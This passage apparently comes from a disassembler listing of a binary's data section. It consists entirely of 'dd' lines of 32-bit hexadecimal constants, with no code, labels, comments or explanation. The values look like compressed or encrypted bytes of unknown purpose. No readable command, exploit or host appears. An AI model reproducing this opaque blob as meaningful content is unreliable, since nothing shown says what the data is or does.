		dd 0E8015B0Ah, 0CB28072Dh, 6998FE4Bh, 0F92A4105h, 86136EEAh
		dd 62104F59h, 0C75D5E02h, 655DA5B2h, 4107AF22h,	3641E0DDh
		dd 88B569E9h, 4E509F08h, 0B525BA4Fh, 590454D2h,	31F97EF0h
		dd 0C71A4AD1h, 0D85DBD12h, 5E01B52Ah, 0A30A8B5Eh, 602DE053h
		dd 4E50E97Bh, 49B090E4h, 5E4AE248h, 49CE5DAFh, 0FA20B1D7h
		dd 2CBC31C5h, 0A0E67D7Bh, 0D11D49B7h, 91FB3DE0h, 9F4CB0E7h
		dd 2003A412h, 2C83CE81h, 6B84DCB8h, 6A75F4B8h, 20BD59ABh
		dd 0BE0CC0DDh, 4A64259Ah, 421C5697h, 0E2DDEED1h, 2698C1B1h
		dd 38047E39h, 0BA1DFA08h, 2A0C2983h, 0FC585B8h,	1CCBC981h
		dd 51551949h, 0AC27094h, 44CF525h, 9BF427F8h, 49DF09C6h
		dd 852A0FE7h, 0FD562D32h, 0C59FF642h, 0EF398822h, 170AB815h
		dd 79E76F30h, 1B895325h, 0B2F8BFAh, 93D49377h, 9E3D3F18h
		dd 63A16A41h, 5A75E86Bh, 357E8581h, 0A2E8AA04h,	8382A2F4h
		dd 5BD7C4E9h, 0BE6AD436h, 0F460E105h, 0DF1E9CAFh, 0F2815603h
		dd 0B5DA6D8Bh, 56D3A80Eh, 6610AA1Ch, 6D0F713h, 419EF9D7h
		dd 817DE04Dh, 7A456855h, 0F12ACF8Ch, 2BB0E627h,	420EBB63h
		dd 0B08A404Ah, 0B8781F56h, 87F7C84Dh, 0D5B18B27h, 0C6AB6922h
		dd 0D1BC33DFh, 2B9D1967h, 25EECBD9h, 7FBD127Fh,	744B1A79h
		dd 1EFF2DD7h, 8DA949ECh, 0D35BE34Ah, 0E9C2D9E8h, 0BA5D06FCh
		dd 2B5CE0B8h, 584C2D6Ch, 7802FD0h, 66975F56h, 8FE92534h
		dd 6AB088F2h, 5CC1EF60h, 0C94F3168h, 5EF2B795h,	7CAC563h
		dd 0B40C0543h, 0EC2E8786h, 0C1C310DBh, 246BB4Ah, 4B39AFF4h
		dd 2A1EAEC7h, 45B8D9D2h, 0A22FED5Bh, 97D50514h,	50C3028Dh
		dd 392C9DC0h, 405C8F2h,	0F6E8D0B6h, 788683EAh, 0EEC0CED8h
		dd 0C6800300h, 0E9F0306Bh, 0A364BF66h, 5A84F35Ah, 0E339A3F3h
		dd 309BDC0h, 0C04F304Ch, 0CE08F540h, 0F1EBE88Dh, 5C5C0750h
		dd 0CEC53A7Bh, 63F7C372h, 0F4A8EC03h, 1129BF4Ah, 9AC12960h
		dd 0AF692042h, 4E40C597h, 0D5FCEEC9h, 5181845Ah, 9F8BC16h
		dd 5E397FDEh, 0D1062677h, 0D0D32FD2h, 31811429h, 86FDDDDh
		dd 0CA4A7B64h, 5B144C29h, 0D3084AD5h, 0A85E1665h, 72081202h
		dd 0B8DCEAFCh, 4C169D19h, 18A77B2Fh, 0A41C454Ah, 30346237h
		dd 0C0928F6h, 20885ACFh, 0F700D5C3h, 0FDBF57D2h, 48B2818Bh
		dd 0E14BC931h, 0CEBB01ECh, 95662CD7h, 0AAB64E6Bh, 0B9E65317h
		dd 0AB050507h, 0B7911B0Bh, 5402F729h, 0BF3B907Fh, 0C1A1CB4Ch
		dd 18C6577Ah, 98EF3FC0h, 95629C7Eh, 680BEB36h, 76D9621Fh
		dd 0E02EEA82h, 0F5FB627Eh, 0DF178901h, 0DAB62EFEh, 58145A2Ch
		dd 754AAF68h, 0EC1399F3h, 4E5D3183h, 0C4FE32DBh, 0D288FD50h
		dd 0B60B02C3h, 5DEF09EDh, 20A08781h, 0D1B241E4h, 98B2B0Fh
		dd 914B277Dh, 0C962935Fh, 2D93F9E5h, 422CEFC2h,	628C9D4Ah
		dd 0A8B00506h, 8EE9490Ch, 7CC2A1EDh, 925D06A9h,	6948FC68h
		dd 8EB04120h, 59565B28h, 2DDE6A3h, 586CF75Bh, 7ABA660Eh
		dd 0CB13937Fh, 24A600Bh, 0A722E62h, 1E7E8890h, 459F7028h
		dd 0D0BACA5h, 324F675h,	9D1010B8h, 0BE02D75Dh, 3E0E5AEDh
		dd 0F4F74055h, 6DB83666h, 0A83A3A0Ch, 8D63188Ah, 0B759CB67h
		dd 559F30F1h, 4F84BED5h, 2DD4C4BDh, 0CB295B05h,	0FEC5AB6Ch
		dd 223EB7FFh, 0F2E02514h, 0FE5DEA04h, 28096982h, 0BA5200D2h
		dd 42DF08E3h, 0BE7B835h, 76FC5882h, 37BA0156h, 0E885A048h
		dd 21B6F064h, 53388C83h, 0C2D00531h, 0C105415Ch, 2BFEB42Bh
		dd 0A59005A8h, 0D9592125h, 5C6CB981h, 0FA34D145h, 6A039E4Ch
		dd 201E9C58h, 12C2F4BDh, 0A5CCFF7Eh, 5EB0EC0h, 25BCB151h
		dd 0D1BDFC82h, 894BF974h, 58C3FEE8h, 5B8B7CAFh,	0A8A0B890h
		dd 0DE0E8134h, 0F8285A01h, 8AE5D970h, 790204F0h, 127685Fh
		dd 0A022F94Ch, 0C265BF0Ch, 278A5888h, 0E9411F0h, 0CA5F402Dh
		dd 0C7450312h, 7105E93Fh, 0FAF265Eh, 0ED4FF78Dh, 0EA5914F9h
		dd 0A764055h, 0FCEA4BFh, 712A7A23h, 74AE476Bh, 0D2AC4FA4h
		dd 0CCD7C134h, 0EF1B20C6h, 865C4995h, 380F65D6h, 0EF66E517h
		dd 0E75B738h, 50B4EF80h, 0C4C76C4Eh, 0BCE497D1h, 0C0761E0Ch
		dd 2E9061Fh, 0E0F4FEEFh, 6203A5F3h, 42C7381Ch, 0A70258C1h
		dd 0E82813Fh, 0AC15534h, 1EADA520h, 0F9EE98CCh,	0C325EF29h
		dd 16C989DFh, 9681C07h,	14752D69h, 434E9732h, 0DD1C8725h
		dd 0F9D82C38h, 7200C082h, 0CB8180F7h, 0FE05B71Ch, 0EB00632Eh
		dd 0BEF44DCEh, 5BDE2531h, 0FB987176h, 2D2BC49Eh, 117770DDh
		dd 0D7C6BC4Bh, 75DF8320h, 0B3B86551h, 54F0EE1Ch, 0F5892E05h
		dd 8AE99383h, 0F73C48A8h, 0EF04D7D9h, 2F27FCD0h, 5F84CC4h
		dd 0C020E912h, 60E86822h, 0A7203192h, 1582F69h,	0A5BD24F6h
		dd 25DD0073h, 0A1BD1881h, 0C4248AA9h, 87E2FB2h,	9F4650h
		dd 80CBFEF6h, 0F6221DE3h, 0C5097DDBh, 5591DC28h, 8DA3DAE9h
		dd 0BB925366h, 6355B389h, 24BCB7C2h, 0BE394065h, 498AC2A4h
		dd 0FE22185Ah, 8ED33A6h, 0F2DA0306h, 899DE878h,	27C65888h
		dd 3959B1DEh, 95D04C2Dh, 66A538D5h, 11BA2F19h, 0A820B3C0h
		dd 71279C98h, 20F866F2h, 212591B6h, 0B6D57C1h, 0E115E982h
		dd 0F2FCC6FEh, 712AF752h, 575ECA5h, 0D84A1F0Bh,	9F7F959Ch
		dd 4C41240Bh, 0BCBA1B60h, 21151B5h, 94C8AD27h, 3BFCC7F5h
		dd 24EF624h, 0E6E920E1h, 5CE384FFh, 20A229FAh, 0CF208069h
		dd 3CCB0BFEh, 84D0337Ah, 47080309h, 2990B43h, 455BD89Ch
		dd 472185B6h, 4B69C11Ch, 50D7DFDh, 6B870330h, 4F5ADB07h
		dd 761BDBF2h, 0A28B824Ch, 35C64FEh, 5DB95109h, 0E4BF14F8h
		dd 0C1696FCh, 319CBA8Eh, 1EAEF8F7h, 5A6CD4BFh, 0C00984FAh
		dd 89267D45h, 0AD2874E5h, 95EB94F5h, 0E90464D6h, 89FC7882h
		dd 45D1484h, 73F4DFBAh,	30D458F9h, 0B55831CBh, 2028D197h
		dd 165926D1h, 5E046F72h, 14CE2B6h, 22216855h, 0D75038B1h
		dd 0B2C762E9h, 0DE893C99h, 0ACE61C13h, 10ED80D1h, 95806075h
		dd 0C2FF670h, 72FEFC3Fh, 0E252D1DDh, 65F7260Ah,	2A4EB2ABh
		dd 6601F50Bh, 3350EB68h, 0CCF876EDh, 1CC4E3FCh,	0FE167B29h
		dd 58212522h, 0B0C1305Bh, 44A2BEC2h, 816C500Eh,	90843CEh
		dd 45302047h, 410B6812h, 3CF78DEEh, 7F169329h, 839F05EBh
		dd 2031EA13h, 273112EBh, 87540CA7h, 0C91329A4h,	0B2AA4CC4h
		dd 50769B8Dh, 45734DDh,	19FBA31h, 507540F2h, 4AE94EC7h
		dd 0EE3CC5A0h, 920C6CBh, 0B020A3B0h, 7C6838A8h,	0E57263E2h
		dd 0C9D8C749h, 7A90F9D0h, 1BABF8Ch, 18AB3F98h, 3E917BE9h
		dd 0EE97BEA8h, 2DA05535h, 57770233h, 96A1E925h,	61F227F4h
		dd 356F441Ch, 2A9B02A5h, 0E55F7B01h, 0F0E98E75h, 17C655F8h
		dd 7FAE661Eh, 7DE099D6h, 0D3114C2Ch, 533E680Ch,	86416133h
		dd 0B70CF6E8h, 37E2D198h, 0E3C8226h, 4216AC07h,	0E5E80984h
		dd 5933407Fh, 0F77289FEh, 2683FB48h, 8C428427h,	9455937h
		dd 9C751A70h, 4F69FC36h, 9DEA3123h, 0C085CB06h,	2EA06891h
		dd 14F4BA4h, 7AAE8620h,	0AE5D4FC4h, 4E08A310h, 70DBB382h
		dd 0DD1BA2C7h, 0DCC56E5h
		dd 250A45Ch, 0E9C39D61h, 4D6AA7A3h, 4088AADCh, 0A2AF2D43h
		dd 0FAD52E24h, 0E0F09029h, 28F69179h, 16587287h, 213197BAh
		dd 6BDFCDFFh, 257E938Eh, 0AC11DE9Bh, 5B308951h,	20C16CDCh
		dd 5A4E1F42h, 856AEC3Dh, 0C9DEBA5Bh, 0A72FE90Bh, 9A8844D1h
		dd 186804E7h, 0C6CFBE6Ch, 0B03DE84Bh, 0BD3A6068h, 0E919B214h
		dd 0C5EF10D2h, 5C36E83Bh, 1D68A09Ch, 5C5B75Ch, 223B56A7h
		dd 32FC9FBBh, 0F589025Ah, 766F0FBDh, 56CD93B2h,	80806DE9h
		dd 0F9B0501Ah, 3A07E8C0h, 0E0B4C8FEh, 0E991020Bh, 4F76A881h
		dd 0F435D189h, 7B360A9h, 0CC164F9h, 4CB43986h, 0EAF1D560h
		dd 894204A0h, 0AA095DEAh, 68094B8Bh, 1A7F429Bh,	3DF4122h
		dd 6884957Ch, 82FC9599h, 0A0549BF8h, 0EC02C760h, 0C27CBD39h
		dd 0A946E90Bh, 0FA09FC71h, 8D82E057h, 98B4BAA9h, 49A8F007h
		dd 71596DC5h, 7FF9322Ah, 9B2B059h, 7AB74A02h, 7A9D3F70h
		dd 66B90420h, 81523FBCh, 32F67048h, 5ECB58E6h, 0E9F1EEB9h
		dd 4772CFCh, 0D2ACC5B9h, 7226D981h, 7BCBE73Ah, 4E177649h
		dd 0C685D0F8h, 4ACC21BBh, 8268005Ah, 3599A872h,	47A09EE8h
		dd 0AB1F935Ah, 0D68BE452h, 97A221AEh, 21C14DB2h, 4A61727Bh
		dd 0E3417FA9h, 0F0F4B86Bh, 5EAE685Ch, 1370A31Dh, 0E036295Dh
		dd 5CE92F93h, 1F7CB09h,	0D488CFCCh, 0F2C75103h,	66FDEB6Ch
		dd 45597E5h, 0F1C259E7h, 5DDB5543h, 3B12DFBBh, 0DEC22BC0h
		dd 14AF2FDFh, 23134076h, 75584C49h, 95F8958Bh, 5184102Fh
		dd 991F3828h, 4BD65F3Bh, 2DCD2353h, 5F1F68Bh, 0B323C91Dh
		dd 5044C287h, 14AE1FDh,	0EB03EFACh, 0CBF007FBh,	95C6A1FCh
		dd 7D3D0888h, 8404308h,	4D087E65h, 8E4B0864h, 8431E23Bh
		dd 650802B0h, 3FF3D003h, 0FD3EA458h, 10802410h,	0A518A163h
		dd 22E51806h, 0C81F0C80h, 9B08BC51h, 1DFA0C96h,	0D4403B28h
		dd 0D5340ECh, 40B0C740h, 20409410h, 8CB14061h, 40628D40h
		dd 25641C2Eh, 560613D9h, 7631A0E7h, 0DF79101Dh,	1C6E001h
		dd 888F49Eh, 150C0555h,	406F20EAh, 0D8402D08h, 253E4071h
		dd 0A6800A66h, 0BE1B3709h, 38F58618h, 202C5C20h, 91541EAAh
		dd 0E0402EACh, 6B81C468h, 0A2F804EDh, 1930700Eh, 75080A6Dh
		dd 199603C6h, 0FEDC6810h, 8C36118h, 2980BB81h, 0DAA48057h
		dd 9851D281h, 501FFC9h,	0E881987Fh, 81B27178h, 1010DF45h
		dd 7931D9F1h, 13F0E39h,	0C502F62Ch, 569C8A3h, 997F8833h
		dd 59F110B4h, 18B7188Ah, 8136CD20h, 0E1A051DDh,	0E87198EFh
		dd 80AE1808h, 0C282B73Dh, 1CE42607h, 35C42040h,	54D1BA20h
		dd 0A8CA885Dh, 81B0B19Ch, 80B99985h, 3424D531h,	5F2F405Ah
		dd 0F9498840h, 31198F03h, 3448E469h, 0F45ED053h, 40152506h
		dd 20622E20h, 4E202037h, 0DBC31B3h, 88EC3820h, 8DD9340h
		dd 570CDCB2h, 63A108E2h, 11C92821h, 45D50818h, 0C8681E18h
		dd 7408BCB9h, 0EF3F0C77h, 0E16F9050h, 1809ED08h, 0BFB919EFh
		dd 513618F1h, 10C5494h,	1703B55Eh, 0C012613Fh, 6F2840F9h
		dd 2ADF8A8h, 2EE130C4h,	6BB5A04h, 0A318034Fh, 0C52810A7h
		dd 0CACC101Ah, 18E56C10h, 0DE08C1A3h, 1420C61Eh, 67310812h
		dd 785B1890h, 1C230888h, 0A0449612h, 0AD06CE76h, 9A5410DEh
		dd 8140999Ch, 0A07540B0h, 0A49B02F3h, 249140D0h, 89D0E55h
		dd 0B19C64E4h, 104E7A9h, 0EC03FABAh, 0AFA87918h, 0CC6F6E08h
		dd 2830E049h, 183A88A8h, 8C1608C4h, 41D5104h, 470C8667h
		dd 0B492FBE9h, 3E298520h, 0E8389C60h, 0EF62885Fh, 5EDCF931h
		dd 91E3C78Bh, 1080DA11h, 752C473Bh, 1331EB02h, 0A7B90E89h
		dd 5003DBDh, 408F4401h,	0C90B0B49h, 8E8BF775h, 0DE043DD7h
		dd 88FFF003h, 0C078337Fh, 4FB10F0Ch, 97AC2C30h,	0B30B155Bh
		dd 8A866820h, 513AC013h, 572CC6B9h, 41FF534Ah, 33144B63h
		dd 0D1C13E66h, 0B800360Ch, 875A0206h, 8A007DF8h, 3171FA34h
		dd 48C35BD8h, 0D97D3688h, 0EB00C829h, 7009693Bh, 0D6C30147h
		dd 100172C6h, 3E585DEBh, 0D79C9E4Ch, 3434B4Bh, 4849803Ch
		dd 0AF3A2CE9h, 0E3BCC81Ch, 0C129AB7Ch, 0DF6A70CCh, 44215F82h
		dd 0B22AC0D8h, 0C2409692h, 797E6856h, 5E0D0590h, 0EF1BD1E9h
		dd 0BD04A652h, 51F46C94h, 1C586E88h, 0FE342BE0h, 8F2C630h
		dd 5137F07Eh, 7FA03957h, 0C139192Ch, 5969250Ch,	1E88887Ch
		dd 2A32078h, 1C9B58DEh,	20DDD1F7h, 536DD0B8h, 463B64Dh
		dd 0AA0134D4h, 0FC9794B8h, 6A050B45h, 5B628022h, 7625515Eh
		dd 0A2EAF029h, 4FD47908h, 2D11E2E0h, 7D97779Bh,	0C1033594h
		dd 19826876h, 88D4001h,	663DEC5Ah, 0E659289Dh, 6B1DBF07h
		dd 8CDE6696h, 945D1AABh, 0C83150E2h, 9AAFE92Ah,	0F7CF80BFh
		dd 12AD2DD0h, 0A0F1490Eh, 0F2058186h, 549E29B2h, 1845FAE4h
		dd 107FF417h, 976259E9h, 0E02CAC44h, 0A039E3CCh, 9E6818Dh
		dd 5F3A446Dh, 9EBB8C77h, 0E013120Dh, 4004AB15h,	0E2EEF301h
		dd 2AE90D8Ah, 0E2DC3E08h, 7687155h, 5D7FC136h, 3E6BFF51h
		dd 0E44FDC5Ch, 3D8D09AAh, 7173C100h, 0E9290CB7h, 684A42B6h
		dd 0DC587B25h, 6A597941h, 4B9F0B2Ch, 5A66D626h,	2379EE9h
		dd 0BA885D52h, 0BAFE400Dh, 2D410158h, 0D48BF54Dh, 0ADE64D77h
		dd 0FD684C71h, 704EEEA0h, 2897A0ADh, 7425E9DEh,	0B890779Fh
		dd 5554C968h, 0AC37E973h, 27D210C7h, 609EFC6Fh,	0B373913h
		dd 38152D18h, 9F02E90Ah, 0ECF74BE2h, 0CFDEA0D8h, 350D262Ah
		dd 641A0326h, 0C07500Bh, 0E501C6B1h, 7D5BD922h,	2F9D3296h
		dd 0C54BA4CAh, 2A240112h, 0ECD40D2Fh, 54822286h, 58D36709h
		dd 0D0C45F96h, 9EAEE3AFh, 4A2B0459h, 5167BE10h,	1837C93Dh
		dd 5772640Ah, 6BD42D68h, 5A00EF66h, 0BF7F4709h,	4C1C21F7h
		dd 330228BEh, 290CDE79h, 8C7087Dh, 0E9197028h, 66AC3EAAh
		dd 762AFC8Fh, 1433195Fh, 0FF16D854h, 20CCFBABh,	6087896h
		dd 1BE9552Fh, 5CBD410Ah, 0B95142E3h, 8BE0DD12h,	28D640C2h
		dd 61B0D3AEh, 0EE750987h, 3359ACA5h, 30845055h,	0B03C3C76h
		dd 599B10D3h, 9212563Fh, 19874527h, 0E9CABB3Eh,	7FEDAC5Bh
		dd 0A360D85Ah, 4BC934ACh, 7E8E81Ah, 4A9C3CF2h, 855ED61h
		dd 127D78ADh, 2FD18647h, 0E4527668h, 0B104B146h, 1558212h
		dd 6360CCBBh, 0E8D3E474h, 0D5F736EAh, 0B1801008h, 7813FD2Fh
		dd 80BAE98Bh, 145A68C6h, 0A171A49Dh, 0E052D6D3h, 3CC108F3h
		dd 277E5A79h, 446664C3h, 3C17B638h, 0E9EB62F0h,	29DE6964h
		dd 89ACAC6Eh, 0F75C9021h, 273A2F45h, 5486E062h,	0CD3C3141h
		dd 0A5571859h, 1482BD62h, 883F511Ah, 796EA106h,	22050C1Bh
		dd 552BF173h, 5D3667B8h, 0CD534AE0h, 2AB217BEh,	4E940798h
		dd 2537B2F6h, 0BF60F88Fh, 0F60377BAh, 4B3BF5D8h, 66E599C5h
		dd 0EAC35A0Eh, 0C3C46004h, 0BC6AE1B0h, 0CBF4C6B2h, 0C2F6970Ah
		dd 2C0F6624h, 1F58A663h, 31AD76E4h, 0F0279F99h,	20C7CD5Eh
		dd 635E500Dh, 45CB70F2h, 77978670h, 76BD1D9Ch, 0F968E783h
		dd 6D30FD52h, 0AD2E5C6h, 0AE1C5FA4h, 20F26808h,	0C2549F0Bh
		dd 0ABA92F70h, 1391588Dh, 0D0FB4213h, 0BE25CB0Dh, 8419875Fh
		dd 0BD00E3DCh, 0E628730Bh, 5809D83Dh, 9E3B4Bh, 72417BC8h
		dd 0C782B710h, 4976EA01h, 0CA0D27C2h, 0E5C2FDA1h, 6858EA74h
		dd 0AD095FFCh, 0F6FAA592h, 34AD96D9h, 0E1728786h, 730C779Eh
		dd 0BC533A0h, 75E378FAh, 0C3C0A40Bh, 0F4124EF0h, 0E0A75B20h
		dd 316EE983h, 36206F76h
		dd 665B0E14h, 5E6EF209h, 8CD2F7A7h, 0BA7D199Ah,	13DC51BFh
		dd 71790352h, 2D820123h, 0EEE0D110h, 0BF7D1F8Ah, 0CBD3A7B8h
		dd 9566DF25h, 6B9E919Dh, 5F30F03Fh, 51B17E97h, 0AD3D31E9h
		dd 402EF5Eh, 921BFE9h, 0C320875Fh, 572BEAE2h, 80AA46Ah
		dd 36370D02h, 69E02FB4h, 0D5BB5360h, 91F14950h,	620E049Ch
		dd 2C6C257h, 898D847Eh,	0E01C3E07h, 104917C5h, 3D10EA17h
		dd 2E8F45DCh, 0E9B02BFDh, 1AD6A253h, 4EC4774h, 77CF560Bh
		dd 555F0B57h, 62D55CBAh, 6856406Dh, 46A80B69h, 3170EDE9h
		dd 7685C58h, 626D4BD4h,	13F91EC3h, 27525918h, 7EE6B3F8h
		dd 9BC1BD0Fh, 0ECACD704h, 0C064BF04h, 5D02FE21h, 573F3EBEh
		dd 0FEA3AA05h, 7CBAF712h, 701DF35Bh, 8913AD60h,	0FCBFA006h
		dd 5FF930B9h, 9EB0D93Ah, 2EFB65Fh, 51C6683Dh, 59E4655h
		dd 41212274h, 9519F05Eh, 0D3216A4Ch, 4EED4FFh, 177078E1h
		dd 0EED6331Ch, 9F519D04h, 31366802h, 0CE61597Ch, 7B30DC4Fh
		dd 0C80D41C3h, 5C975828h, 5C14895h, 83C67F1Bh, 1C99CF77h
		dd 0C9F0703Ah, 0ADF33FFBh, 148078C4h, 0FB5A07B6h, 0C6B38820h
		dd 40665B26h, 6F7D6748h, 1809CB81h, 0B3A31h, 8088EA51h
		dd 5D029790h, 72C862E9h, 47009CBEh, 0B850760Ch,	516C31EAh
		dd 0E83A813Ch, 0C468C362h, 12891049h, 0DAAD4076h, 1D71232Eh
		dd 7CE5E2Dh, 41F28142h,	6B330B54h, 5BDF3744h, 0E9C2C8AFh
		dd 0CBC010E2h, 0A6578DC7h, 0A298F640h, 0F35457E5h, 0DD209D5Ch
		dd 27824CA2h, 260F2698h, 0EC489A20h, 9FC170D0h,	84B298A2h
		dd 7DE294F7h, 0EAF19D0Ah, 20756804h, 0A3C595E8h, 5F5EC363h
		dd 748F6A02h, 0E0873B20h, 8039A8A6h, 7313332Dh,	0D52C28B4h
		dd 75DF0ABAh, 168B50C9h, 333F015Ch, 0A7CF3BE9h,	191CDD26h
		dd 5244D49Dh, 12122144h, 5626011Ah, 27CF7F98h, 0E7E27C8Ah
		dd 0B83E352h, 8379D9CCh, 0FA18551Ah, 0EEB1AB01h, 9174A04Ch
		dd 5B6EBD9Eh, 84A4D24Ch, 5A0EF7C7h, 127BE49Eh, 0CFC7FC19h
		dd 7EE9A25Eh, 0B10D4B54h, 317AC913h, 1FB318Ah, 0F23B5955h
		dd 86CECCABh, 415BA88h,	0FB1DD3B9h, 3100FE11h, 373885E1h
		dd 0F239860h, 1A755906h, 783C98Fh, 18055D5Fh, 688F1550h
		dd 0D14FB583h, 0F282485Eh, 7BBA217Ah, 65B281F7h, 0C8275F1h
		dd 842AC32h, 0E79FD8D7h, 5A3B836Bh, 0AAA9955Fh,	20BC5B09h
		dd 49C9717Fh, 0F7557182h, 23F6800h, 0F7454FF5h,	0FDC00567h
		dd 41ABBA0Ah, 0E1E9E8E0h, 39C3FE4h, 0E36FFFCFh,	6E149CB7h
		dd 0F2EBA4CFh, 0F6F71087h, 93709574h, 44297114h, 5F663ECAh
		dd 0DCE5BA35h, 6BEFC881h, 20135C37h, 18C34518h,	0EB80F8B7h
		dd 0AC8FD1D0h, 0A9B2148Fh, 0EF26E244h, 886F1EC0h, 0FE5A00F0h
		dd 0E9E70CC0h, 0F7AC62C5h, 4B4BD64Dh, 0AEDD98BFh, 0D997307Ch
		dd 5A4269E0h, 25C9E5DDh, 0E9618DF9h, 0F081F89Ch, 82633EBAh
		dd 28167B3Ch, 9C14EEh, 0AC48770Ah, 93AD3DD0h, 0A66FF2D9h
		dd 78E06A5h, 5E282B68h,	1A69A347h, 2DB32E00h, 6604E3C0h
		dd 12D32568h, 0C1B2FA24h, 2F8FEBA6h, 65551DFEh,	0F611997Fh
		dd 33CF7EF2h, 24040742h, 9A61E94Ah, 0ABC213EFh,	0E9CE3DCBh
		dd 518FDCCh, 0A16FA70Bh, 4A32DA3Dh, 685BB68h, 0C24A8BEBh
		dd 6E544AE9h, 7AEA38EDh, 552CFA4Bh, 57E92551h, 0EE03DB89h
		dd 3691F7C2h, 2E02FFEh,	28832A68h, 0DAE9161Fh, 0F2FDB4F5h
		dd 79204F18h, 55F6F0Ch,	3AE973CEh, 0FBF0528Ch, 35D97000h
		dd 2F6823BCh, 927B7082h, 78B0E116h, 0B250392h, 5361C179h
		dd 5216EFE1h, 2A56C4DDh, 0A6BFCEB4h, 9FBB970Dh,	6CE91270h
		dd 0C7B0B457h, 9FB69AFFh, 54BA196h, 0DC888DBEh,	724A5A66h
		dd 0C0BAFEE0h, 17A1BB49h, 3BD0439h, 73292BBAh, 950E9752h
		dd 62845F41h, 0DACEEF5Bh, 2E42D859h, 133C6831h,	0EE940C21h
		dd 0B17A01D7h, 14B3CB40h, 0A4535080h, 0C67712FBh, 0E99C427Fh
		dd 9B09221Ah, 3723D197h, 0D72C2742h, 8B5754B2h,	6DC457D2h
		dd 0F4C9E988h, 6FAEB4B5h, 0AC724184h, 3139DFA7h, 0D7876A0Fh
		dd 6F8F7E20h, 0A1C48F61h, 2BE899A6h, 49212AFFh,	0B961182Ch
		dd 0B7EED118h, 95D52A00h, 81A08BAFh, 9C2523A3h,	8CC2860h
		dd 7928E904h, 25218ABFh, 0DF0957E3h, 1C0FCCFDh,	254D86E9h
		dd 0BF6ECF7Fh, 89607093h, 482E052h, 2BCAFAD3h, 93F38114h
		dd 0AA768C13h, 0F7016F29h, 68000D8Fh, 8BC4152Ah, 0B70198DAh
		dd 30DFF64Ah, 0D3F87DCFh, 0BCB9D15Ah, 0A5F7FCD3h, 0CBFB0884h
		dd 7EFA2E3Ch, 0D8E876A7h, 10CA133Dh, 8426B558h,	0FC6F844Fh
		dd 688C42EBh, 0FE6C7921h, 0F1B2BF5Bh, 34FFC2C5h, 0F253FEB6h
		dd 8D2F0439h, 5F94D681h, 0CB865802h, 6CE3F9E9h,	0C2789C99h
		dd 985DD689h, 95FA67Ch,	0FB091CBCh, 60EFB25Dh, 267FB618h
		dd 182E7CFDh, 0DCB838CAh, 6CBF4E07h, 39C2B7BEh,	979278EAh
		dd 0B02A0504h, 0F5955A72h, 0C5C7E9BEh, 197BACE9h, 2CE4588Ch
		dd 0BA12C13Bh, 703765AAh, 0B69ADA79h, 0B5921400h, 2538052Ah
		dd 0F80B4B9Ch, 2B931AC7h, 79F87560h, 0E4DDA60Fh, 0BC11A4A7h
		dd 4E315DB4h, 0F1F7EC16h, 0B441C330h, 0B54452C7h, 1D38810Ch
		dd 32F97D01h, 55B75911h, 5A91542h, 0AB297305h, 0E8D33CB2h
		dd 0C54C1B00h, 7D73C7FDh, 0BB0E5BE7h, 0F2A29144h, 6405AD00h
		dd 7A024557h, 8D68D801h, 82A5597Eh, 4A9F495Ah, 0E906FEF4h
		dd 0B6BB2C1h, 0D90459E8h, 723A26D6h, 7409735Eh,	5456FC55h
		dd 0FD4ACF90h, 0AE5E56ABh, 92F47F67h, 0DE04C2E1h, 0B66675AAh
		dd 975F10E5h, 1AA84124h, 0BC0C3621h, 4BF65DE3h,	92161969h
		dd 22325543h, 75399802h, 0C8A9080Bh, 5F5A580Eh,	2FF59108h
		dd 672BF8F0h, 30018E12h, 8172134Bh, 0E9250306h,	9D4543F3h
		dd 6DF7A4C0h, 1F3F4BABh, 16F5CBC0h, 44F1AF4h, 0E310A514h
		dd 0B2F4077Eh, 0FF898838h, 636276CBh, 0A2FC52D7h, 469CF7ADh
		dd 97DC3920h, 0D5953650h, 2725C214h, 0FF5F124Ch, 0CEBF5C1Eh
		dd 0EB504BA0h, 4F68E960h, 2777C462h, 29E8EA0Bh,	0F5F0E4B7h
		dd 0CAFBEABBh, 0A9BC5896h, 8FA680Ah, 0A0559713h, 5D0C011Bh
		dd 0B574E905h, 1687FCFFh, 0B0ADC361h, 1E818BDh,	201264B7h
		dd 0C0B5CF07h, 0AC59CB0Ah, 0FADCF697h, 737495E1h, 87BAA343h
		dd 8CC75F09h, 8D087CADh, 2A879C92h, 7C20CDC9h, 3CE2BB89h
		dd 0A61235ACh, 1008CA2Bh, 0C95E2F8Dh, 0E82AF8B8h, 828990BDh
		dd 0F42B0968h, 0BF5395C8h, 0C442276h, 831D790h,	57040B5Ah
		dd 0A38FCFDh, 6ECA5177h, 0E273FE2Eh, 4E0BEF98h,	0BC229856h
		dd 52D62D1Ah, 0BA2A5851h, 0D951E238h, 0C5B9FD50h, 0E270E55Ch
		dd 0BED8BA89h, 2512E8EAh, 0E3FD0C6Ch, 2960EF5Eh, 4A363F49h
		dd 90E3F046h, 5003CBCh,	3B0F0E3Eh, 661D0A2Dh, 3E971F6Ch
		dd 83F20751h, 4575F11h,	91312E4Ah, 8340BA29h, 0AD69D4E7h
		dd 8AE91602h, 854CF8CCh, 0CEEA5452h, 28E34C1Bh,	55038409h
		dd 134F7CBDh, 0D16ED969h, 8595152Ch, 6058C5C5h,	0ED8BE98Bh
		dd 0CABE0AD2h, 18F95AB2h, 34468F84h, 0C67FCCAEh, 694A8001h
		dd 94D1E946h, 0F2BE85C3h, 0E9ABB49Fh, 0A3FAD2DAh, 0C8A6CBE2h
		dd 1E44E59Fh, 0CE4B757Bh, 0AF126FA1h, 0FBD73CB3h, 0D821F1D0h
		dd 88F915Bh, 680D4156h,	0C42023FBh, 24AE9296h, 0B77C780h
		dd 22965BF8h, 0F560EBFEh, 97E97706h, 9742D112h,	0CB75BCC4h
		dd 0CEFF4A24h, 0E9CD988Dh, 44674ABDh, 0BC318B7Fh, 0E48A9F71h
		dd 0EBC0ED1Ch, 3BB302A3h
		dd 50782923h, 24E908C3h, 80586DBBh, 0EA103124h,	0D0BAC609h
		dd 0C74C9C09h, 0ECE0457h, 0C4F1BCBBh, 59AD7B51h, 8C7FB517h
		dd 0A2BD254Ah, 0A001C6EAh, 6FCFBA66h, 3107BCF6h, 2DD6D456h
		dd 6295468Fh, 381B1Ch, 0C71ACBFh, 86E8284Ah, 18CD1E09h
		dd 0EFE72175h, 0C4C76FFCh, 0BFF413BFh, 12127B66h, 0E8853EE9h
		dd 8202A5A5h, 41352116h, 132E5A51h, 56B1F0E5h, 59AF4455h
		dd 9B5C9C95h, 0E9317001h, 0BAC2CB9Ah, 364975F1h, 2FCB2C92h
		dd 7AAF7654h, 0E15B0857h, 0ACDF2242h, 9E7084h, 0D62A568h
